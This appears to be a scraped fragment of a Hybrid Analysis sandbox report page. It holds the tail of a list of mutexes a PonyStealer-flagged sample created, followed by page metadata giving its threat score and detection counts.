"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!blikuge!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!blikuge!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!blikuge!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"59f1bbf87ca3e17a370cb187"}]}]}},"report_ids":{"sandbox_job_ids":["59f1bbf87ca3e17a370cb187"]}}}]]}] 1d:null 21:[["$","title","0",{"children":"Malicious PonyStealer.@p1@dS.Generic Sample 0f7f7ce1ab76… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 0f7f7ce1ab76…. Malware family: PonyStealer.@p1@dS.Generic. Threat score 100/100. 18/28 AV engines flagged this file. 8 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff"}],["$","meta","4",{"property":"og:title","content":"Malicious PonyStealer.@p1@dS.Generic Sample 0f7f7ce1ab76… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 0f7f7ce1ab76…. Malware family: PonyStealer.@p1@dS.Generic. Threat score 100/100. 18/28 AV engines flagged this file. 8 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/0f7f7ce1ab76f3588d806d0a4effea05d943aa0067924c3bce16163c5600daff"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious PonyStealer.@p1@dS.Generic Sample 0f7f7ce1ab76… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 0f7f7ce1ab76…. Malware family: PonyStealer.@p1@dS.Generic. Threat score 100/100. 18/28 AV engines flagged this file. 8 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L29","11",{}]]